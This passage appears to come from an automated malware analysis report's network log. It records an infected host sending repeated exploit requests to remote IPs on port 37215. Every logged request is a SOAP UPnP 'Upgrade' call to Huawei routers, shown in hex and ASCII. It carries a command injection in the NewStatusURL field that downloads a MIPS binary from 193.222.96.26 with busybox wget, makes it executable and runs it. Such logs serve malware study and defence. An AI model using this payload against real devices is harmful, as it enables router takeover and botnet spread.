67 2f 73 6f 61 70 2f 65 6e 63 6f 64 69 6e 67 2f 22 3e 3c 73 3a 42 6f 64 79 3e 3c 75 3a 55 70 67 72 61 64 65 20 78 6d 6c 6e 73 3a 75 3d 22 75 72 6e 3a 73 63 68 65 6d 61 73 2d 75 70 6e 70 2d 6f 72 67 3a 73 65 72 76 69 63 65 3a 57 41 4e 50 50 50 43 6f 6e 6e 65 63 74 69 6f 6e 3a 31 22 3e 3c 4e 65 77 53 74 61 74 75 73 55 52 4c 3e 24 28 2f 62 69 6e 2f 62 75 73 79 62 6f 78 20 77 67 65 74 20 2d 67 20 31 39 33 2e 32 32 32 2e 39 36 2e 32 36 20 2d 6c 20 2f 74 6d 70 2f 6b 68 20 2d 72 20 2f 66 61 69 74 68 2e 6d 69 70 73 3b 20 2f 62 69 6e 2f 62 75 73 79 62 6f 78 20 63 68 6d 6f 64 20 37 37 37 20 2a 20 2f 74 6d 70 2f 6b 68 3b 20 2f 74 6d 70 2f 6b 68 20 68 75 61 77 65 69 2e 72 65 70 29 3c 2f 4e 65 77 53 74 61 74 75 73 55 52 4c 3e 3c 4e 65 77 44 6f 77 6e 6c 6f 61 64 55 52 4c 3e 24 28 65 63 68 6f 20 48 55 41 57 45 49 55 50 4e 50 29 3c 2f 4e 65 77 44 6f 77 6e 6c 6f 61 64 55 52 4c 3e 3c 2f 75 3a 55 70 67 72 61 64 65 3e 3c 2f 73 3a 42 6f 64 79 3e 3c 2f 73 3a 45 6e 76 65 6c 6f 70 65 3e 0d 0a 0d 0a Data Ascii: <?xml version="1.0" ?><s:Envelope xmlns:s="http://schemas.xmlsoap.org/soap/envelope/" s:encodingStyle="http://schemas.xmlsoap.org/soap/encoding/"><s:Body><u:Upgrade xmlns:u="urn:schemas-upnp-org:service:WANPPPConnection:1"><NewStatusURL>$(/bin/busybox wget -g 193.222.96.26 -l /tmp/kh -r /faith.mips; /bin/busybox chmod 777 * /tmp/kh; /tmp/kh huawei.rep)</NewStatusURL><NewDownloadURL>$(echo HUAWEIUPNP)</NewDownloadURL></u:Upgrade></s:Body></s:Envelope>
Nov 19, 2023 09:17:10.337172031 CET	2378	OUT	POST /ctrlt/DeviceUpgrade_1 HTTP/1.1 Content-Length: 430 Connection: keep-alive Accept: / Authorization: Digest username="dslf-config", realm="HuaweiHomeGateway", nonce="88645cefb1f9ede0e336e3569d75ee30", uri="/ctrlt/DeviceUpgrade_1", response="3612f843a42db38f48f59d2a3597e19c", algorithm="MD5", qop="auth", nc=00000001, cnonce="248d1a2560100669" Data Raw: 3c 3f 78 6d 6c 20 76 65 72 73 69 6f 6e 3d 22 31 2e 30 22 20 3f 3e 3c 73 3a 45 6e 76 65 6c 6f 70 65 20 78 6d 6c 6e 73 3a 73 3d 22 68 74 74 70 3a 2f 2f 73 63 68 65 6d 61 73 2e 78 6d 6c 73 6f 61 70 2e 6f 72 67 2f 73 6f 61 70 2f 65 6e 76 65 6c 6f 70 65 2f 22 20 73 3a 65 6e 63 6f 64 69 6e 67 53 74 79 6c 65 3d 22 68 74 74 70 3a 2f 2f 73 63 68 65 6d 61 73 2e 78 6d 6c 73 6f 61 70 2e 6f 72 67 2f 73 6f 61 70 2f 65 6e 63 6f 64 69 6e 67 2f 22 3e 3c 73 3a 42 6f 64 79 3e 3c 75 3a 55 70 67 72 61 64 65 20 78 6d 6c 6e 73 3a 75 3d 22 75 72 6e 3a 73 63 68 65 6d 61 73 2d 75 70 6e 70 2d 6f 72 67 3a 73 65 72 76 69 63 65 3a 57 41 4e 50 50 50 43 6f 6e 6e 65 63 74 69 6f 6e 3a 31 22 3e 3c 4e 65 77 53 74 61 74 75 73 55 52 4c 3e 24 28 2f 62 69 6e 2f 62 75 73 79 62 6f 78 20 77 67 65 74 20 2d 67 20 31 39 33 2e 32 32 32 2e 39 36 2e 32 36 20 2d 6c 20 2f 74 6d 70 2f 6b 68 20 2d 72 20 2f 66 61 69 74 68 2e 6d 69 70 73 3b 20 2f 62 69 6e 2f 62 75 73 79 62 6f 78 20 63 68 6d 6f 64 20 37 37 37 20 2a 20 2f 74 6d 70 2f 6b 68 3b 20 2f 74 6d 70 2f 6b 68 20 68 75 61 77 65 69 2e 72 65 70 29 3c 2f 4e 65 77 53 74 61 74 75 73 55 52 4c 3e 3c 4e 65 77 44 6f 77 6e 6c 6f 61 64 55 52 4c 3e 24 28 65 63 68 6f 20 48 55 41 57 45 49 55 50 4e 50 29 3c 2f 4e 65 77 44 6f 77 6e 6c 6f 61 64 55 52 4c 3e 3c 2f 75 3a 55 70 67 72 61 64 65 3e 3c 2f 73 3a 42 6f 64 79 3e 3c 2f 73 3a 45 6e 76 65 6c 6f 70 65 3e 0d 0a 0d 0a Data Ascii: <?xml version="1.0" ?><s:Envelope xmlns:s="http://schemas.xmlsoap.org/soap/envelope/" s:encodingStyle="http://schemas.xmlsoap.org/soap/encoding/"><s:Body><u:Upgrade xmlns:u="urn:schemas-upnp-org:service:WANPPPConnection:1"><NewStatusURL>$(/bin/busybox wget -g 193.222.96.26 -l /tmp/kh -r /faith.mips; /bin/busybox chmod 777 * /tmp/kh; /tmp/kh huawei.rep)</NewStatusURL><NewDownloadURL>$(echo HUAWEIUPNP)</NewDownloadURL></u:Upgrade></s:Body></s:Envelope>
Nov 19, 2023 09:17:30.558370113 CET	2930	OUT	POST /ctrlt/DeviceUpgrade_1 HTTP/1.1 Content-Length: 430 Connection: keep-alive Accept: / Authorization: Digest username="dslf-config", realm="HuaweiHomeGateway", nonce="88645cefb1f9ede0e336e3569d75ee30", uri="/ctrlt/DeviceUpgrade_1", response="3612f843a42db38f48f59d2a3597e19c", algorithm="MD5", qop="auth", nc=00000001, cnonce="248d1a2560100669" Data Raw: 3c 3f 78 6d 6c 20 76 65 72 73 69 6f 6e 3d 22 31 2e 30 22 20 3f 3e 3c 73 3a 45 6e 76 65 6c 6f 70 65 20 78 6d 6c 6e 73 3a 73 3d 22 68 74 74 70 3a 2f 2f 73 63 68 65 6d 61 73 2e 78 6d 6c 73 6f 61 70 2e 6f 72 67 2f 73 6f 61 70 2f 65 6e 76 65 6c 6f 70 65 2f 22 20 73 3a 65 6e 63 6f 64 69 6e 67 53 74 79 6c 65 3d 22 68 74 74 70 3a 2f 2f 73 63 68 65 6d 61 73 2e 78 6d 6c 73 6f 61 70 2e 6f 72 67 2f 73 6f 61 70 2f 65 6e 63 6f 64 69 6e 67 2f 22 3e 3c 73 3a 42 6f 64 79 3e 3c 75 3a 55 70 67 72 61 64 65 20 78 6d 6c 6e 73 3a 75 3d 22 75 72 6e 3a 73 63 68 65 6d 61 73 2d 75 70 6e 70 2d 6f 72 67 3a 73 65 72 76 69 63 65 3a 57 41 4e 50 50 50 43 6f 6e 6e 65 63 74 69 6f 6e 3a 31 22 3e 3c 4e 65 77 53 74 61 74 75 73 55 52 4c 3e 24 28 2f 62 69 6e 2f 62 75 73 79 62 6f 78 20 77 67 65 74 20 2d 67 20 31 39 33 2e 32 32 32 2e 39 36 2e 32 36 20 2d 6c 20 2f 74 6d 70 2f 6b 68 20 2d 72 20 2f 66 61 69 74 68 2e 6d 69 70 73 3b 20 2f 62 69 6e 2f 62 75 73 79 62 6f 78 20 63 68 6d 6f 64 20 37 37 37 20 2a 20 2f 74 6d 70 2f 6b 68 3b 20 2f 74 6d 70 2f 6b 68 20 68 75 61 77 65 69 2e 72 65 70 29 3c 2f 4e 65 77 53 74 61 74 75 73 55 52 4c 3e 3c 4e 65 77 44 6f 77 6e 6c 6f 61 64 55 52 4c 3e 24 28 65 63 68 6f 20 48 55 41 57 45 49 55 50 4e 50 29 3c 2f 4e 65 77 44 6f 77 6e 6c 6f 61 64 55 52 4c 3e 3c 2f 75 3a 55 70 67 72 61 64 65 3e 3c 2f 73 3a 42 6f 64 79 3e 3c 2f 73 3a 45 6e 76 65 6c 6f 70 65 3e 0d 0a 0d 0a Data Ascii: <?xml version="1.0" ?><s:Envelope xmlns:s="http://schemas.xmlsoap.org/soap/envelope/" s:encodingStyle="http://schemas.xmlsoap.org/soap/encoding/"><s:Body><u:Upgrade xmlns:u="urn:schemas-upnp-org:service:WANPPPConnection:1"><NewStatusURL>$(/bin/busybox wget -g 193.222.96.26 -l /tmp/kh -r /faith.mips; /bin/busybox chmod 777 * /tmp/kh; /tmp/kh huawei.rep)</NewStatusURL><NewDownloadURL>$(echo HUAWEIUPNP)</NewDownloadURL></u:Upgrade></s:Body></s:Envelope>

Session ID	Source IP	Source Port	Destination IP	Destination Port
32	192.168.2.23	39514	156.241.67.35	37215

Timestamp	kBytes transferred	Direction	Data
Nov 19, 2023 09:16:52.054161072 CET	1904	OUT	POST /ctrlt/DeviceUpgrade_1 HTTP/1.1 Content-Length: 430 Connection: keep-alive Accept: / Authorization: Digest username="dslf-config", realm="HuaweiHomeGateway", nonce="88645cefb1f9ede0e336e3569d75ee30", uri="/ctrlt/DeviceUpgrade_1", response="3612f843a42db38f48f59d2a3597e19c", algorithm="MD5", qop="auth", nc=00000001, cnonce="248d1a2560100669" Data Raw: 3c 3f 78 6d 6c 20 76 65 72 73 69 6f 6e 3d 22 31 2e 30 22 20 3f 3e 3c 73 3a 45 6e 76 65 6c 6f 70 65 20 78 6d 6c 6e 73 3a 73 3d 22 68 74 74 70 3a 2f 2f 73 63 68 65 6d 61 73 2e 78 6d 6c 73 6f 61 70 2e 6f 72 67 2f 73 6f 61 70 2f 65 6e 76 65 6c 6f 70 65 2f 22 20 73 3a 65 6e 63 6f 64 69 6e 67 53 74 79 6c 65 3d 22 68 74 74 70 3a 2f 2f 73 63 68 65 6d 61 73 2e 78 6d 6c 73 6f 61 70 2e 6f 72 67 2f 73 6f 61 70 2f 65 6e 63 6f 64 69 6e 67 2f 22 3e 3c 73 3a 42 6f 64 79 3e 3c 75 3a 55 70 67 72 61 64 65 20 78 6d 6c 6e 73 3a 75 3d 22 75 72 6e 3a 73 63 68 65 6d 61 73 2d 75 70 6e 70 2d 6f 72 67 3a 73 65 72 76 69 63 65 3a 57 41 4e 50 50 50 43 6f 6e 6e 65 63 74 69 6f 6e 3a 31 22 3e 3c 4e 65 77 53 74 61 74 75 73 55 52 4c 3e 24 28 2f 62 69 6e 2f 62 75 73 79 62 6f 78 20 77 67 65 74 20 2d 67 20 31 39 33 2e 32 32 32 2e 39 36 2e 32 36 20 2d 6c 20 2f 74 6d 70 2f 6b 68 20 2d 72 20 2f 66 61 69 74 68 2e 6d 69 70 73 3b 20 2f 62 69 6e 2f 62 75 73 79 62 6f 78 20 63 68 6d 6f 64 20 37 37 37 20 2a 20 2f 74 6d 70 2f 6b 68 3b 20 2f 74 6d 70 2f 6b 68 20 68 75 61 77 65 69 2e 72 65 70 29 3c 2f 4e 65 77 53 74 61 74 75 73 55 52 4c 3e 3c 4e 65 77 44 6f 77 6e 6c 6f 61 64 55 52 4c 3e 24 28 65 63 68 6f 20 48 55 41 57 45 49 55 50 4e 50 29 3c 2f 4e 65 77 44 6f 77 6e 6c 6f 61 64 55 52 4c 3e 3c 2f 75 3a 55 70 67 72 61 64 65 3e 3c 2f 73 3a 42 6f 64 79 3e 3c 2f 73 3a 45 6e 76 65 6c 6f 70 65 3e 0d 0a 0d 0a Data Ascii: <?xml version="1.0" ?><s:Envelope xmlns:s="http://schemas.xmlsoap.org/soap/envelope/" s:encodingStyle="http://schemas.xmlsoap.org/soap/encoding/"><s:Body><u:Upgrade xmlns:u="urn:schemas-upnp-org:service:WANPPPConnection:1"><NewStatusURL>$(/bin/busybox wget -g 193.222.96.26 -l /tmp/kh -r /faith.mips; /bin/busybox chmod 777 * /tmp/kh; /tmp/kh huawei.rep)</NewStatusURL><NewDownloadURL>$(echo HUAWEIUPNP)</NewDownloadURL></u:Upgrade></s:Body></s:Envelope>
Nov 19, 2023 09:16:53.987298965 CET	1935	OUT	POST /ctrlt/DeviceUpgrade_1 HTTP/1.1 Content-Length: 430 Connection: keep-alive Accept: / Authorization: Digest username="dslf-config", realm="HuaweiHomeGateway", nonce="88645cefb1f9ede0e336e3569d75ee30", uri="/ctrlt/DeviceUpgrade_1", response="3612f843a42db38f48f59d2a3597e19c", algorithm="MD5", qop="auth", nc=00000001, cnonce="248d1a2560100669" Data Raw: 3c 3f 78 6d 6c 20 76 65 72 73 69 6f 6e 3d 22 31 2e 30 22 20 3f 3e 3c 73 3a 45 6e 76 65 6c 6f 70 65 20 78 6d 6c 6e 73 3a 73 3d 22 68 74 74 70 3a 2f 2f 73 63 68 65 6d 61 73 2e 78 6d 6c 73 6f 61 70 2e 6f 72 67 2f 73 6f 61 70 2f 65 6e 76 65 6c 6f 70 65 2f 22 20 73 3a 65 6e 63 6f 64 69 6e 67 53 74 79 6c 65 3d 22 68 74 74 70 3a 2f 2f 73 63 68 65 6d 61 73 2e 78 6d 6c 73 6f 61 70 2e 6f 72 67 2f 73 6f 61 70 2f 65 6e 63 6f 64 69 6e 67 2f 22 3e 3c 73 3a 42 6f 64 79 3e 3c 75 3a 55 70 67 72 61 64 65 20 78 6d 6c 6e 73 3a 75 3d 22 75 72 6e 3a 73 63 68 65 6d 61 73 2d 75 70 6e 70 2d 6f 72 67 3a 73 65 72 76 69 63 65 3a 57 41 4e 50 50 50 43 6f 6e 6e 65 63 74 69 6f 6e 3a 31 22 3e 3c 4e 65 77 53 74 61 74 75 73 55 52 4c 3e 24 28 2f 62 69 6e 2f 62 75 73 79 62 6f 78 20 77 67 65 74 20 2d 67 20 31 39 33 2e 32 32 32 2e 39 36 2e 32 36 20 2d 6c 20 2f 74 6d 70 2f 6b 68 20 2d 72 20 2f 66 61 69 74 68 2e 6d 69 70 73 3b 20 2f 62 69 6e 2f 62 75 73 79 62 6f 78 20 63 68 6d 6f 64 20 37 37 37 20 2a 20 2f 74 6d 70 2f 6b 68 3b 20 2f 74 6d 70 2f 6b 68 20 68 75 61 77 65 69 2e 72 65 70 29 3c 2f 4e 65 77 53 74 61 74 75 73 55 52 4c 3e 3c 4e 65 77 44 6f 77 6e 6c 6f 61 64 55 52 4c 3e 24 28 65 63 68 6f 20 48 55 41 57 45 49 55 50 4e 50 29 3c 2f 4e 65 77 44 6f 77 6e 6c 6f 61 64 55 52 4c 3e 3c 2f 75 3a 55 70 67 72 61 64 65 3e 3c 2f 73 3a 42 6f 64 79 3e 3c 2f 73 3a 45 6e 76 65 6c 6f 70 65 3e 0d 0a 0d 0a Data Ascii: <?xml version="1.0" ?><s:Envelope xmlns:s="http://schemas.xmlsoap.org/soap/envelope/" s:encodingStyle="http://schemas.xmlsoap.org/soap/encoding/"><s:Body><u:Upgrade xmlns:u="urn:schemas-upnp-org:service:WANPPPConnection:1"><NewStatusURL>$(/bin/busybox wget -g 193.222.96.26 -l /tmp/kh -r /faith.mips; /bin/busybox chmod 777 * /tmp/kh; /tmp/kh huawei.rep)</NewStatusURL><NewDownloadURL>$(echo HUAWEIUPNP)</NewDownloadURL></u:Upgrade></s:Body></s:Envelope>
Nov 19, 2023 09:16:56.519046068 CET	2014	OUT	POST /ctrlt/DeviceUpgrade_1 HTTP/1.1 Content-Length: 430 Connection: keep-alive Accept: / Authorization: Digest username="dslf-config", realm="HuaweiHomeGateway", nonce="88645cefb1f9ede0e336e3569d75ee30", uri="/ctrlt/DeviceUpgrade_1", response="3612f843a42db38f48f59d2a3597e19c", algorithm="MD5", qop="auth", nc=00000001, cnonce="248d1a2560100669" Data Raw: 3c 3f 78 6d 6c 20 76 65 72 73 69 6f 6e 3d 22 31 2e 30 22 20 3f 3e 3c 73 3a 45 6e 76 65 6c 6f 70 65 20 78 6d 6c 6e 73 3a 73 3d 22 68 74 74 70 3a 2f 2f 73 63 68 65 6d 61 73 2e 78 6d 6c 73 6f 61 70 2e 6f 72 67 2f 73 6f 61 70 2f 65 6e 76 65 6c 6f 70 65 2f 22 20 73 3a 65 6e 63 6f 64 69 6e 67 53 74 79 6c 65 3d 22 68 74 74 70 3a 2f 2f 73 63 68 65 6d 61 73 2e 78 6d 6c 73 6f 61 70 2e 6f 72 67 2f 73 6f 61 70 2f 65 6e 63 6f 64 69 6e 67 2f 22 3e 3c 73 3a 42 6f 64 79 3e 3c 75 3a 55 70 67 72 61 64 65 20 78 6d 6c 6e 73 3a 75 3d 22 75 72 6e 3a 73 63 68 65 6d 61 73 2d 75 70 6e 70 2d 6f 72 67 3a 73 65 72 76 69 63 65 3a 57 41 4e 50 50 50 43 6f 6e 6e 65 63 74 69 6f 6e 3a 31 22 3e 3c 4e 65 77 53 74 61 74 75 73 55 52 4c 3e 24 28 2f 62 69 6e 2f 62 75 73 79 62 6f 78 20 77 67 65 74 20 2d 67 20 31 39 33 2e 32 32 32 2e 39 36 2e 32 36 20 2d 6c 20 2f 74 6d 70 2f 6b 68 20 2d 72 20 2f 66 61 69 74 68 2e 6d 69 70 73 3b 20 2f 62 69 6e 2f 62 75 73 79 62 6f 78 20 63 68 6d 6f 64 20 37 37 37 20 2a 20 2f 74 6d 70 2f 6b 68 3b 20 2f 74 6d 70 2f 6b 68 20 68 75 61 77 65 69 2e 72 65 70 29 3c 2f 4e 65 77 53 74 61 74 75 73 55 52 4c 3e 3c 4e 65 77 44 6f 77 6e 6c 6f 61 64 55 52 4c 3e 24 28 65 63 68 6f 20 48 55 41 57 45 49 55 50 4e 50 29 3c 2f 4e 65 77 44 6f 77 6e 6c 6f 61 64 55 52 4c 3e 3c 2f 75 3a 55 70 67 72 61 64 65 3e 3c 2f 73 3a 42 6f 64 79 3e 3c 2f 73 3a 45 6e 76 65 6c 6f 70 65 3e 0d 0a 0d 0a Data Ascii: <?xml version="1.0" ?><s:Envelope xmlns:s="http://schemas.xmlsoap.org/soap/envelope/" s:encodingStyle="http://schemas.xmlsoap.org/soap/encoding/"><s:Body><u:Upgrade xmlns:u="urn:schemas-upnp-org:service:WANPPPConnection:1"><NewStatusURL>$(/bin/busybox wget -g 193.222.96.26 -l /tmp/kh -r /faith.mips; /bin/busybox chmod 777 * /tmp/kh; /tmp/kh huawei.rep)</NewStatusURL><NewDownloadURL>$(echo HUAWEIUPNP)</NewDownloadURL></u:Upgrade></s:Body></s:Envelope>
Nov 19, 2023 09:17:01.122454882 CET	2132	OUT	POST /ctrlt/DeviceUpgrade_1 HTTP/1.1 Content-Length: 430 Connection: keep-alive Accept: / Authorization: Digest username="dslf-config", realm="HuaweiHomeGateway", nonce="88645cefb1f9ede0e336e3569d75ee30", uri="/ctrlt/DeviceUpgrade_1", response="3612f843a42db38f48f59d2a3597e19c", algorithm="MD5", qop="auth", nc=00000001, cnonce="248d1a2560100669" Data Raw: 3c 3f 78 6d 6c 20 76 65 72 73 69 6f 6e 3d 22 31 2e 30 22 20 3f 3e 3c 73 3a 45 6e 76 65 6c 6f 70 65 20 78 6d 6c 6e 73 3a 73 3d 22 68 74 74 70 3a 2f 2f 73 63 68 65 6d 61 73 2e 78 6d 6c 73 6f 61 70 2e 6f 72 67 2f 73 6f 61 70 2f 65 6e 76 65 6c 6f 70 65 2f 22 20 73 3a 65 6e 63 6f 64 69 6e 67 53 74 79 6c 65 3d 22 68 74 74 70 3a 2f 2f 73 63 68 65 6d 61 73 2e 78 6d 6c 73 6f 61 70 2e 6f 72 67 2f 73 6f 61 70 2f 65 6e 63 6f 64 69 6e 67 2f 22 3e 3c 73 3a 42 6f 64 79 3e 3c 75 3a 55 70 67 72 61 64 65 20 78 6d 6c 6e 73 3a 75 3d 22 75 72 6e 3a 73 63 68 65 6d 61 73 2d 75 70 6e 70 2d 6f 72 67 3a 73 65 72 76 69 63 65 3a 57 41 4e 50 50 50 43 6f 6e 6e 65 63 74 69 6f 6e 3a 31 22 3e 3c 4e 65 77 53 74 61 74 75 73 55 52 4c 3e 24 28 2f 62 69 6e 2f 62 75 73 79 62 6f 78 20 77 67 65 74 20 2d 67 20 31 39 33 2e 32 32 32 2e 39 36 2e 32 36 20 2d 6c 20 2f 74 6d 70 2f 6b 68 20 2d 72 20 2f 66 61 69 74 68 2e 6d 69 70 73 3b 20 2f 62 69 6e 2f 62 75 73 79 62 6f 78 20 63 68 6d 6f 64 20 37 37 37 20 2a 20 2f 74 6d 70 2f 6b 68 3b 20 2f 74 6d 70 2f 6b 68 20 68 75 61 77 65 69 2e 72 65 70 29 3c 2f 4e 65 77 53 74 61 74 75 73 55 52 4c 3e 3c 4e 65 77 44 6f 77 6e 6c 6f 61 64 55 52 4c 3e 24 28 65 63 68 6f 20 48 55 41 57 45 49 55 50 4e 50 29 3c 2f 4e 65 77 44 6f 77 6e 6c 6f 61 64 55 52 4c 3e 3c 2f 75 3a 55 70 67 72 61 64 65 3e 3c 2f 73 3a 42 6f 64 79 3e 3c 2f 73 3a 45 6e 76 65 6c 6f 70 65 3e 0d 0a 0d 0a Data Ascii: <?xml version="1.0" ?><s:Envelope xmlns:s="http://schemas.xmlsoap.org/soap/envelope/" s:encodingStyle="http://schemas.xmlsoap.org/soap/encoding/"><s:Body><u:Upgrade xmlns:u="urn:schemas-upnp-org:service:WANPPPConnection:1"><NewStatusURL>$(/bin/busybox wget -g 193.222.96.26 -l /tmp/kh -r /faith.mips; /bin/busybox chmod 777 * /tmp/kh; /tmp/kh huawei.rep)</NewStatusURL><NewDownloadURL>$(echo HUAWEIUPNP)</NewDownloadURL></u:Upgrade></s:Body></s:Envelope>
Nov 19, 2023 09:17:10.337172031 CET	2378	OUT	POST /ctrlt/DeviceUpgrade_1 HTTP/1.1 Content-Length: 430 Connection: keep-alive Accept: / Authorization: Digest username="dslf-config", realm="HuaweiHomeGateway", nonce="88645cefb1f9ede0e336e3569d75ee30", uri="/ctrlt/DeviceUpgrade_1", response="3612f843a42db38f48f59d2a3597e19c", algorithm="MD5", qop="auth", nc=00000001, cnonce="248d1a2560100669" Data Raw: 3c 3f 78 6d 6c 20 76 65 72 73 69 6f 6e 3d 22 31 2e 30 22 20 3f 3e 3c 73 3a 45 6e 76 65 6c 6f 70 65 20 78 6d 6c 6e 73 3a 73 3d 22 68 74 74 70 3a 2f 2f 73 63 68 65 6d 61 73 2e 78 6d 6c 73 6f 61 70 2e 6f 72 67 2f 73 6f 61 70 2f 65 6e 76 65 6c 6f 70 65 2f 22 20 73 3a 65 6e 63 6f 64 69 6e 67 53 74 79 6c 65 3d 22 68 74 74 70 3a 2f 2f 73 63 68 65 6d 61 73 2e 78 6d 6c 73 6f 61 70 2e 6f 72 67 2f 73 6f 61 70 2f 65 6e 63 6f 64 69 6e 67 2f 22 3e 3c 73 3a 42 6f 64 79 3e 3c 75 3a 55 70 67 72 61 64 65 20 78 6d 6c 6e 73 3a 75 3d 22 75 72 6e 3a 73 63 68 65 6d 61 73 2d 75 70 6e 70 2d 6f 72 67 3a 73 65 72 76 69 63 65 3a 57 41 4e 50 50 50 43 6f 6e 6e 65 63 74 69 6f 6e 3a 31 22 3e 3c 4e 65 77 53 74 61 74 75 73 55 52 4c 3e 24 28 2f 62 69 6e 2f 62 75 73 79 62 6f 78 20 77 67 65 74 20 2d 67 20 31 39 33 2e 32 32 32 2e 39 36 2e 32 36 20 2d 6c 20 2f 74 6d 70 2f 6b 68 20 2d 72 20 2f 66 61 69 74 68 2e 6d 69 70 73 3b 20 2f 62 69 6e 2f 62 75 73 79 62 6f 78 20 63 68 6d 6f 64 20 37 37 37 20 2a 20 2f 74 6d 70 2f 6b 68 3b 20 2f 74 6d 70 2f 6b 68 20 68 75 61 77 65 69 2e 72 65 70 29 3c 2f 4e 65 77 53 74 61 74 75 73 55 52 4c 3e 3c 4e 65 77 44 6f 77 6e 6c 6f 61 64 55 52 4c 3e 24 28 65 63 68 6f 20 48 55 41 57 45 49 55 50 4e 50 29 3c 2f 4e 65 77 44 6f 77 6e 6c 6f 61 64 55 52 4c 3e 3c 2f 75 3a 55 70 67 72 61 64 65 3e 3c 2f 73 3a 42 6f 64 79 3e 3c 2f 73 3a 45 6e 76 65 6c 6f 70 65 3e 0d 0a 0d 0a Data Ascii: <?xml version="1.0" ?><s:Envelope xmlns:s="http://schemas.xmlsoap.org/soap/envelope/" s:encodingStyle="http://schemas.xmlsoap.org/soap/encoding/"><s:Body><u:Upgrade xmlns:u="urn:schemas-upnp-org:service:WANPPPConnection:1"><NewStatusURL>$(/bin/busybox wget -g 193.222.96.26 -l /tmp/kh -r /faith.mips; /bin/busybox chmod 777 * /tmp/kh; /tmp/kh huawei.rep)</NewStatusURL><NewDownloadURL>$(echo HUAWEIUPNP)</NewDownloadURL></u:Upgrade></s:Body></s:Envelope>
Nov 19, 2023 09:17:30.558370113 CET	2930	OUT	POST /ctrlt/DeviceUpgrade_1 HTTP/1.1 Content-Length: 430 Connection: keep-alive Accept: / Authorization: Digest username="dslf-config", realm="HuaweiHomeGateway", nonce="88645cefb1f9ede0e336e3569d75ee30", uri="/ctrlt/DeviceUpgrade_1", response="3612f843a42db38f48f59d2a3597e19c", algorithm="MD5", qop="auth", nc=00000001, cnonce="248d1a2560100669" Data Raw: 3c 3f 78 6d 6c 20 76 65 72 73 69 6f 6e 3d 22 31 2e 30 22 20 3f 3e 3c 73 3a 45 6e 76 65 6c 6f 70 65 20 78 6d 6c 6e 73 3a 73 3d 22 68 74 74 70 3a 2f 2f 73 63 68 65 6d 61 73 2e 78 6d 6c 73 6f 61 70 2e 6f 72 67 2f 73 6f 61 70 2f 65 6e 76 65 6c 6f 70 65 2f 22 20 73 3a 65 6e 63 6f 64 69 6e 67 53 74 79 6c 65 3d 22 68 74 74 70 3a 2f 2f 73 63 68 65 6d 61 73 2e 78 6d 6c 73 6f 61 70 2e 6f 72 67 2f 73 6f 61 70 2f 65 6e 63 6f 64 69 6e 67 2f 22 3e 3c 73 3a 42 6f 64 79 3e 3c 75 3a 55 70 67 72 61 64 65 20 78 6d 6c 6e 73 3a 75 3d 22 75 72 6e 3a 73 63 68 65 6d 61 73 2d 75 70 6e 70 2d 6f 72 67 3a 73 65 72 76 69 63 65 3a 57 41 4e 50 50 50 43 6f 6e 6e 65 63 74 69 6f 6e 3a 31 22 3e 3c 4e 65 77 53 74 61 74 75 73 55 52 4c 3e 24 28 2f 62 69 6e 2f 62 75 73 79 62 6f 78 20 77 67 65 74 20 2d 67 20 31 39 33 2e 32 32 32 2e 39 36 2e 32 36 20 2d 6c 20 2f 74 6d 70 2f 6b 68 20 2d 72 20 2f 66 61 69 74 68 2e 6d 69 70 73 3b 20 2f 62 69 6e 2f 62 75 73 79 62 6f 78 20 63 68 6d 6f 64 20 37 37 37 20 2a 20 2f 74 6d 70 2f 6b 68 3b 20 2f 74 6d 70 2f 6b 68 20 68 75 61 77 65 69 2e 72 65 70 29 3c 2f 4e 65 77 53 74 61 74 75 73 55 52 4c 3e 3c 4e 65 77 44 6f 77 6e 6c 6f 61 64 55 52 4c 3e 24 28 65 63 68 6f 20 48 55 41 57 45 49 55 50 4e 50 29 3c 2f 4e 65 77 44 6f 77 6e 6c 6f 61 64 55 52 4c 3e 3c 2f 75 3a 55 70 67 72 61 64 65 3e 3c 2f 73 3a 42 6f 64 79 3e 3c 2f 73 3a 45 6e 76 65 6c 6f 70 65 3e 0d 0a 0d 0a Data Ascii: <?xml version="1.0" ?><s:Envelope xmlns:s="http://schemas.xmlsoap.org/soap/envelope/" s:encodingStyle="http://schemas.xmlsoap.org/soap/encoding/"><s:Body><u:Upgrade xmlns:u="urn:schemas-upnp-org:service:WANPPPConnection:1"><NewStatusURL>$(/bin/busybox wget -g 193.222.96.26 -l /tmp/kh -r /faith.mips; /bin/busybox chmod 777 * /tmp/kh; /tmp/kh huawei.rep)</NewStatusURL><NewDownloadURL>$(echo HUAWEIUPNP)</NewDownloadURL></u:Upgrade></s:Body></s:Envelope>

Session ID	Source IP	Source Port	Destination IP	Destination Port
33	192.168.2.23	45214	156.235.101.61	37215

Timestamp	kBytes transferred	Direction	Data
Nov 19, 2023 09:16:56.629971981 CET	2015	OUT	POST /ctrlt/DeviceUpgrade_1 HTTP/1.1 Content-Length: 430 Connection: keep-alive Accept: / Authorization: Digest username="dslf-config", realm="HuaweiHomeGateway", nonce="88645cefb1f9ede0e336e3569d75ee30", uri="/ctrlt/DeviceUpgrade_1", response="3612f843a42db38f48f59d2a3597e19c", algorithm="MD5", qop="auth", nc=00000001, cnonce="248d1a2560100669" Data Raw: 3c 3f 78 6d 6c 20 76 65 72 73 69 6f 6e 3d 22 31 2e 30 22 20 3f 3e 3c 73 3a 45 6e 76 65 6c 6f 70 65 20 78 6d 6c 6e 73 3a 73 3d 22 68 74 74 70 3a 2f 2f 73 63 68 65 6d 61 73 2e 78 6d 6c 73 6f 61 70 2e 6f 72 67 2f 73 6f 61 70 2f 65 6e 76 65 6c 6f 70 65 2f 22 20 73 3a 65 6e 63 6f 64 69 6e 67 53 74 79 6c 65 3d 22 68 74 74 70 3a 2f 2f 73 63 68 65 6d 61 73 2e 78 6d 6c 73 6f 61 70 2e 6f 72 67 2f 73 6f 61 70 2f 65 6e 63 6f 64 69 6e 67 2f 22 3e 3c 73 3a 42 6f 64 79 3e 3c 75 3a 55 70 67 72 61 64 65 20 78 6d 6c 6e 73 3a 75 3d 22 75 72 6e 3a 73 63 68 65 6d 61 73 2d 75 70 6e 70 2d 6f 72 67 3a 73 65 72 76 69 63 65 3a 57 41 4e 50 50 50 43 6f 6e 6e 65 63 74 69 6f 6e 3a 31 22 3e 3c 4e 65 77 53 74 61 74 75 73 55 52 4c 3e 24 28 2f 62 69 6e 2f 62 75 73 79 62 6f 78 20 77 67 65 74 20 2d 67 20 31 39 33 2e 32 32 32 2e 39 36 2e 32 36 20 2d 6c 20 2f 74 6d 70 2f 6b 68 20 2d 72 20 2f 66 61 69 74 68 2e 6d 69 70 73 3b 20 2f 62 69 6e 2f 62 75 73 79 62 6f 78 20 63 68 6d 6f 64 20 37 37 37 20 2a 20 2f 